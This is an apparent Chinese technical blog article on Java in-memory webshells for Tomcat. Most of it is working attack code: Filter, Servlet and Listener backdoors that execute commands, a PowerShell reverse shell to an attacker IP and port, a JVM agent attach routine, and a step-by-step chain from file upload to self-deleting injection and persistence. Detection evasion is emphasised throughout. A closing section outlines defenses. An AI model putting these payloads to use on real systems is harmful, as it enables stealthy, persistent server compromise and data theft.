在Web渗透对抗日益激烈的今天,传统文件型WebShell(如webshell.jsp)已难以突破WAF、EDR与RASP构建的防护体系——文件落地即触发杀软告警,日志中的异常访问痕迹更是极易被溯源。而Java内存马作为“无文件攻击”的核心技术,凭借“内存驻留、动态注入、隐蔽持久”的特性,成为APT攻击与高级渗透的首选手段。2025年CNVD最新数据显示,金融、政务等关键行业的APT事件中,内存马使用率已攀升至42%,远超2024年的37%。

本文将从Java Web容器底层机制切入,深度拆解Filter、Servlet、Listener、Agent四大类内存马的实现原理,结合“文件上传→内存注入→持久化控制”的完整实战流程,带您掌握从0到1的内存马植入与防御能力。

一、内存马崛起:为何它能成为Web渗透的“隐形利刃”?

内存马的核心优势,源于对传统文件型WebShell的彻底颠覆——它不依赖任何磁盘文件,而是将恶意逻辑直接注入Java进程内存,与Web容器“共生共存”,其对抗优势可归纳为四点:

1. 无文件落地:绕过文件层防护

传统WebShell需上传.jsp.class文件到服务器,而内存马的所有载荷(恶意类、逻辑代码)均在JVM堆内存中运行,不生成任何物理文件。这意味着:

  • 杀软、HIDS的文件扫描机制完全失效;
  • 服务器管理员通过find / -name "*.jsp"排查后门时,找不到任何痕迹;
  • 即使清理临时文件目录(如Tomcat的work目录),内存马仍不受影响。

2. 动态伪装:融入Web容器正常流程

Java Web容器(如Tomcat、Jetty)支持运行时动态注册组件(Filter、Servlet、Listener),内存马正是利用这一特性,将自己伪装成“合法组件”:

  • 注入的Filter可命名为“LogFilter”“AuthFilter”,与业务组件名称混淆;
  • 恶意Servlet绑定的URL路径可设置为/api/health/check,伪装成健康检查接口;
  • Listener触发逻辑与正常Session创建、上下文启动事件绑定,日志中无异常记录。

某政务系统渗透案例中,攻击者注入的Filter型内存马隐藏在20余个正常Filter中,管理员通过Tomcat Manager查看组件列表时,未发现任何异常,直到3个月后才因偶然的命令执行流量暴露。

3. 持久化能力:突破服务重启限制

普通内存马(如Filter型)在Tomcat重启后会消失,但进阶的Agent型内存马可实现“跨重启存活”:

  • 利用java.lang.instrument.Instrumentation机制,将恶意逻辑嵌入JVM启动流程;
  • 通过Attach API动态附着到目标JVM进程,加载Agent包后,即使重启Tomcat或JVM,Agent仍会被自动加载;
  • 部分Agent甚至能修改JVM核心类(如java.lang.String),实现更深层次的持久化控制。

4. 动态对抗:规避静态特征检测

内存马可通过“载荷加密+类名混淆”应对静态特征匹配:

  • 恶意类通过自定义ClassLoader加载,字节码在内存中解密后执行,避免被静态扫描工具捕获;
  • 类名、方法名采用随机字符串(如com.example.a1b2c3),规避“EvilFilter”“BackdoorServlet”等特征词检测;
  • 命令传输采用AES加密(如将cmd=whoami加密为cmd=XxYyZz123),绕过流量层的关键字检测。

二、Java内存马基石:Web容器机制与动态注册原理

要理解内存马的实现,必须先掌握Java Web容器的请求处理流程与组件动态注册能力——这是内存马“寄生”的核心基础。

1. Java Web容器的请求处理链路

以最常用的Tomcat为例,HTTP请求从客户端到业务逻辑的完整流程如下:

Client → HTTP请求 → Connector(连接器) → Engine(引擎) → Host(虚拟主机) → Context(应用上下文) → Wrapper(Servlet包装器) → Filter Chain(过滤器链) → Servlet.service()(业务处理)

其中,Filter、Servlet、Listener是容器的三大核心组件,也是内存马的主要注入点:

  • Filter:请求预处理/后处理组件,所有请求都会经过Filter链(如权限校验、字符编码转换),适合拦截所有请求;
  • Servlet:业务逻辑处理组件,需绑定特定URL路径(如/login),仅当访问该路径时才触发;
  • Listener:事件监听组件,可监听“应用启动、Session创建、属性变更”等事件,无需主动访问即可触发。

2. 动态注册:内存马的“生存密码”

Tomcat等容器为支持模块化开发,提供了运行时动态注册组件的API——无需修改web.xml配置文件,只需执行一段Java代码,即可向当前应用上下文(Context)中添加新的Filter、Servlet或Listener。

核心API调用逻辑如下(以Tomcat为例):

// 1. 获取当前Web应用的Context对象(关键一步,需通过请求或上下文获取)
// 从HttpServletRequest中反射获取Context(Tomcat特定实现)
Field contextField = request.getClass().getDeclaredField("context");
contextField.setAccessible(true); // 突破访问权限
ApplicationContext appContext = (ApplicationContext) contextField.get(request);
StandardContext standardContext = (StandardContext) appContext.getContext();

// 2. 动态注册组件(以Filter为例)
// 创建恶意Filter实例
Filter evilFilter = new EvilFilter();
// 注册Filter并绑定URL模式(/*表示拦截所有请求)
FilterRegistration.Dynamic filterReg = standardContext.addFilter("EvilFilter", evilFilter);
filterReg.addMappingForUrlPatterns(EnumSet.allOf(DispatcherType.class), true, "/*");

正是这一特性,让内存马得以“无配置、无文件”地嵌入Web容器——只要能在目标服务器上执行一段Java代码(如通过文件上传、命令执行漏洞),就能完成内存马注入。

三、四大主流Java内存马深度剖析

不同类型的内存马,在注入点、触发时机与隐蔽性上各有差异,适用于不同渗透场景。以下从“原理→代码实现→实战场景”拆解四大核心类型。

1. Filter型内存马:最实用的“请求拦截器”

Filter型内存马是渗透中最常用的类型——它通过拦截所有HTTP请求触发恶意逻辑,灵活性高且不影响正常业务,隐蔽性可达四星(满分五星)。

原理与实现

核心逻辑:动态注册一个恶意Filter,绑定/* URL模式,拦截所有请求;当请求中携带特定标识(如自定义HTTP头、参数)时,执行系统命令,否则正常转发请求。

恶意Filter代码(AES加密通信增强版)

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.EnumSet;

public class EvilFilter implements Filter {
    // AES密钥(渗透时需动态生成,避免硬编码)
    private static final String AES_KEY = "MySecretKey123456";

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;

        // 1. 从请求头获取加密的命令(避免明文cmd被检测)
        String encryptCmd = request.getHeader("X-Cmd");
        if (encryptCmd != null && !encryptCmd.isEmpty()) {
            try {
                // 2. AES解密命令
                String cmd = AesUtils.decrypt(encryptCmd, AES_KEY);
                // 3. 执行系统命令
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder result = new StringBuilder();
                String line;
                while ((line = br.readLine()) != null) {
                    result.append(line).append("\n");
                }
                // 4. 加密返回结果
                String encryptResult = AesUtils.encrypt(result.toString(), AES_KEY);
                response.getWriter().write(encryptResult);
                return; // 不继续转发,避免影响结果
            } catch (Exception e) {
                response.getWriter().write(AesUtils.encrypt("Execute failed", AES_KEY));
                return;
            }
        }

        // 无命令时,正常转发请求,不影响业务
        chain.doFilter(req, res);
    }

    @Override
    public void init(FilterConfig filterConfig) {}
    @Override
    public void destroy() {}
}

// 辅助AES加密工具类
class AesUtils {
    // 简化版AES加密实现(实际渗透需完善填充、模式)
    public static String encrypt(String content, String key) { /* 加密逻辑 */ }
    public static String decrypt(String content, String key) { /* 解密逻辑 */ }
}

注入代码(通过请求触发)

// 前提:已获取HttpServletRequest对象(如通过文件上传漏洞执行的JSP小马)
// 1. 获取StandardContext(Tomcat)
Field contextField = request.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) contextField.get(request);
StandardContext standardContext = (StandardContext) appContext.getContext();

// 2. 注册EvilFilter
Filter evilFilter = new EvilFilter();
FilterRegistration.Dynamic filterReg = standardContext.addFilter("LogFilter", evilFilter); // 伪装为日志Filter
filterReg.addMappingForUrlPatterns(EnumSet.allOf(DispatcherType.class), true, "/*"); // 拦截所有请求
实战场景
  • 适用场景:需要频繁执行命令、控制目标服务器的场景(如批量拖取数据、横向移动);
  • 触发方式:发送HTTP请求时携带X-Cmd头(加密后的命令),示例:
    # 加密命令"whoami",发送请求
    curl -H "X-Cmd: encrypted_whoami" https://target.com/any-path
    
  • 优点:请求透明转发,不影响业务正常运行;加密通信规避流量检测;
  • 缺点:若未隐藏Filter名称,可通过Arthassc -d javax.servlet.Filter)查看异常Filter。

2. Listener型内存马:后台潜伏的“事件触发器”

Listener型内存马通过监听Web容器事件(如Session创建、应用启动)触发恶意逻辑,无需主动发送请求,隐蔽性可达四星,适合长期潜伏。

原理与实现

核心逻辑:注入一个HttpSessionListenerServletContextListener,当用户登录生成Session、或应用启动时,自动执行恶意代码(如反弹Shell、植入其他后门)。

Session触发型Listener代码

import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
import java.io.IOException;

public class BackdoorSessionListener implements HttpSessionListener {
    // 攻击者控制的IP和端口
    private static final String ATTACKER_IP = "192.168.1.100";
    private static final int ATTACKER_PORT = 4444;

    @Override
    public void sessionCreated(HttpSessionEvent se) {
        // 当用户创建Session(如登录)时触发
        try {
            // 反弹Shell(Windows示例,Linux可替换为bash命令)
            String cmd = "cmd.exe /c powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('" + ATTACKER_IP + "'," + ATTACKER_PORT + ");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}\"";
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            // 静默失败,避免抛出异常暴露痕迹
        }
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {}
}

注入代码

// 1. 获取StandardContext(同Filter注入)
StandardContext standardContext = getStandardContext(request); // 自定义方法,复用Filter注入的Context获取逻辑

// 2. 注册Listener
standardContext.addApplicationEventListener(new BackdoorSessionListener());
实战场景
  • 适用场景:目标服务器有用户活跃(如政务系统、电商平台),无需主动触发;
  • 触发方式:用户登录、访问需要Session的页面(如购物车);
  • 优点:日志无异常访问记录,RASP难以检测“事件触发”型逻辑;
  • 缺点:依赖用户行为触发,无用户访问时无法激活。

3. Servlet型内存马:精准控制的“路径触发门”

Servlet型内存马需绑定特定URL路径,仅当访问该路径时才触发,隐蔽性三星,适合需要“精准控制”的场景(如仅允许攻击者访问)。

原理与实现

核心逻辑:动态注册一个恶意Servlet,绑定隐蔽URL(如/api/internal/monitor),仅当访问该URL且携带正确密钥时,执行命令。

恶意Servlet代码

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class HiddenServlet extends HttpServlet {
    // 访问密钥(避免未授权访问)
    private static final String ACCESS_KEY = "SecretKey2025";

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 验证密钥
        String key = req.getParameter("key");
        if (key == null || !key.equals(ACCESS_KEY)) {
            resp.sendError(403, "Forbidden");
            return;
        }

        // 执行命令
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder result = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                result.append(line).append("\n");
            }
            resp.getWriter().write(result.toString());
        }
    }
}

注入代码

// 1. 获取StandardContext
StandardContext standardContext = getStandardContext(request);

// 2. 注册Servlet,绑定隐蔽路径
ServletRegistration.Dynamic servletReg = standardContext.addServlet("MonitorServlet", new HiddenServlet());
servletReg.addMapping("/api/internal/monitor"); // 伪装为内部监控接口
servletReg.setLoadOnStartup(1); // 应用启动时加载
实战场景
  • 适用场景:需要频繁手动控制,且希望减少误触发的场景;
  • 触发方式:发送POST请求到绑定路径,携带密钥和命令,示例:
    curl -X POST "https://target.com/api/internal/monitor?key=SecretKey2025&cmd=whoami"
    
  • 优点:路径隐蔽,非攻击者难以发现;密钥验证提升安全性;
  • 缺点:URL路径可能被Web日志记录,存在暴露风险。

4. Agent型内存马:JVM级的“终极潜伏者”

Agent型内存马基于java.lang.instrument机制,可动态附着到目标JVM进程,实现“跨Web容器、重启存活”,隐蔽性五星,是APT攻击的首选长期控制手段。

原理与实现

核心逻辑:

  1. 编写Agent程序(包含agentmain方法),打包为JAR包;
  2. 通过Attach API将Agent JAR动态附着到目标Tomcat的JVM进程;
  3. Agent加载后,利用Instrumentation修改JVM中的核心类(如javax.servlet.Filter),植入恶意逻辑;
  4. 配置Agent为“JVM重启后自动加载”,实现持久化。

Agent核心代码(修改Filter类植入逻辑)

import java.lang.instrument.Instrumentation;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class EvilAgent {
    // Agent附着到JVM时触发
    public static void agentmain(String args, Instrumentation inst) {
        // 注册类转换器,修改Filter类
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                                    ProtectionDomain protectionDomain, byte[] classfileBuffer) {
                // 仅修改javax.servlet.Filter类
                if ("javax/servlet/Filter".equals(className)) {
                    try {
                        // 1. 读取原始类字节码
                        // 2. 通过ASM框架修改doFilter方法,植入恶意逻辑(如命令执行)
                        // 3. 返回修改后的字节码
                        return modifyFilterClass(classfileBuffer);
                    } catch (Exception e) {
                        return classfileBuffer;
                    }
                }
                return classfileBuffer;
            }
        }, true);

        // 强制重新加载Filter类,使修改生效
        try {
            Class<?> filterClass = Class.forName("javax.servlet.Filter");
            inst.retransformClasses(filterClass);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    // 用ASM框架修改Filter类的字节码(核心逻辑,需依赖ASM库)
    private static byte[] modifyFilterClass(byte[] classfileBuffer) { /* ASM修改逻辑 */ }
}

附着Agent到目标JVM

import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;

public class AttachAgent {
    public static void main(String[] args) throws AttachNotSupportedException, IOException {
        // 目标Tomcat的PID(可通过jps命令获取)
        String targetPid = "1234";
        // Agent JAR路径(可通过HTTP下载到目标服务器临时目录)
        String agentJarPath = "/tmp/evil-agent.jar";

        // 附着到目标JVM
        VirtualMachine vm = VirtualMachine.attach(targetPid);
        vm.loadAgent(agentJarPath);
        vm.detach();
    }
}
实战场景
  • 适用场景:需要长期控制目标服务器,且需抵御Web容器重启的场景;
  • 触发方式:所有实现Filter接口的类执行doFilter时,自动触发植入的恶意逻辑;
  • 优点:完全脱离Web容器控制,重启Tomcat、甚至重启JVM后仍存活;修改核心类,无独立组件注册痕迹;
  • 缺点:技术门槛高,需掌握ASM字节码修改与JVM Instrumentation机制;Agent JAR需临时落地(可通过内存加载规避)。

四、实战演练:从文件上传到内存持久化控制

以“Tomcat服务器+任意文件上传漏洞”为起点,演示完整的内存马植入流程,实现“无文件残留、重启存活”的控制目标。

步骤1:利用文件上传漏洞上传临时JSP小马

攻击者先通过目标服务器的文件上传漏洞(如后台上传功能未过滤.jsp后缀),上传一个临时JSP小马(功能仅为执行内存马注入代码,用完即删):

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.Filter" %>
<%@ page import="java.util.EnumSet" %>
<%@ page import="javax.servlet.DispatcherType" %>

<%
// 1. 定义恶意Filter(内存中创建,不落地文件)
class TempEvilFilter implements Filter {
    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws Exception {
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            res.getWriter().write(sb.toString());
            return;
        }
        chain.doFilter(req, res);
    }
    @Override
    public void init(FilterConfig filterConfig) {}
    @Override
    public void destroy() {}
}

// 2. 注入Filter型内存马
try {
    // 获取StandardContext
    Field contextField = request.getClass().getDeclaredField("context");
    contextField.setAccessible(true);
    ApplicationContext appContext = (ApplicationContext) contextField.get(request);
    StandardContext standardContext = (StandardContext) appContext.getContext();

    // 注册Filter
    Filter filter = new TempEvilFilter();
    standardContext.addFilter("TempFilter", filter).addMappingForUrlPatterns(EnumSet.allOf(DispatcherType.class), true, "/*");

    out.print("Inject Success!");

    // 3. 删除临时JSP小马(避免文件残留)
    String jspPath = application.getRealPath(request.getServletPath());
    new java.io.File(jspPath).delete();
} catch (Exception e) {
    out.print("Inject Failed: " + e.getMessage());
}
%>

步骤2:访问JSP小马,触发内存马注入

通过浏览器或curl访问上传的JSP小马(如https://target.com/upload/temp.jsp),页面返回“Inject Success!”,表示内存马注入成功,且JSP小马已自动删除(无文件残留)。

步骤3:验证内存马有效性

发送HTTP请求触发内存马,执行系统命令(如whoami):

curl "https://target.com/any-path?cmd=whoami"

若返回服务器当前用户(如tomcat),说明内存马已正常工作。

步骤4:植入Agent型内存马,实现持久化

为确保Tomcat重启后内存马仍存活,需进一步注入Agent型内存马:

  1. 通过已生效的Filter型内存马,执行AttachAgent代码(可将代码编译为字节码,通过ClassLoader动态加载执行);
  2. 将Agent JAR包通过HTTP下载到目标服务器内存(不落地文件,利用ByteArrayInputStream加载);
  3. 附着Agent到Tomcat的JVM进程,修改核心类植入恶意逻辑;
  4. 配置JVM参数(如-javaagent:/path/evil-agent.jar),确保重启JVM后Agent自动加载。

五、防御体系:如何抵御Java内存马攻击?

内存马的“无文件、动态注入”特性,决定了防御需从“文件层”转向“运行时层”,构建“JVM监控+流量分析+行为审计”的三重防御体系。

1. 运行时监控:捕获JVM内存异常

  • 监控异常类加载:使用Arthas工具定期查看类加载情况(sc -d javax.servlet.Filter),排查名称异常、来源不明的Filter/Servlet;
  • Hook关键API:通过RASP工具HookServletContext.addFilteraddServletaddApplicationEventListener方法,记录所有动态注册行为,发现异常时阻断并告警;
  • 检测字节码修改:监控JVM中核心类(如javax.servlet.Filter)的字节码变化,使用Instrumentation记录类加载前后的字节码哈希,不一致时触发告警。

2. 流量分析:识别异常请求特征

  • 监控自定义请求头/参数:如X-Cmdkey等非标准头,或携带cmdexec等关键字的参数;
  • 分析请求-响应特征:内存马执行命令时,响应内容常为系统命令输出(如lswhoami结果),可通过正则匹配这类特征;
  • 追踪隐蔽URL访问:监控/api/internal//hidden/等非业务路径的访问,尤其是来自境外IP的请求。

3. 行为审计:排查JVM进程异常

  • 检查JVM线程:通过jstack命令查看线程栈,排查执行Runtime.execProcessBuilder的异常线程;
  • 审计文件操作:监控临时目录(如/tmp、Tomcat的work目录)中的异常.jsp.jar文件,尤其是“创建后立即删除”的文件;
  • 定期清理组件:重启Web容器前,清理动态注册的Filter/Servlet(通过Tomcat Manager或API),避免内存马残留。

六、结语:内存马对抗的未来趋势

随着JVM技术与渗透手段的不断演进,内存马正朝着“AI动态生成载荷”“跨平台注入”“深度内核绑定”的方向发展——例如利用大模型实时生成对抗性字节码,规避RASP的静态特征检测;或通过eBPF技术直接 hook 内核系统调用,实现超越JVM层面的控制。

对防御方而言,单纯依赖传统文件扫描已无意义,必须构建“运行时动态监控+JVM底层检测”的纵深防御体系,同时加强开发规范(如限制动态注册API的使用、审计第三方组件漏洞),才能在内存马对抗中占据主动。而对渗透测试人员,掌握内存马技术不仅是突破防护的关键,更是理解Web容器安全机制、提升对抗思维的核心途径。

更多推荐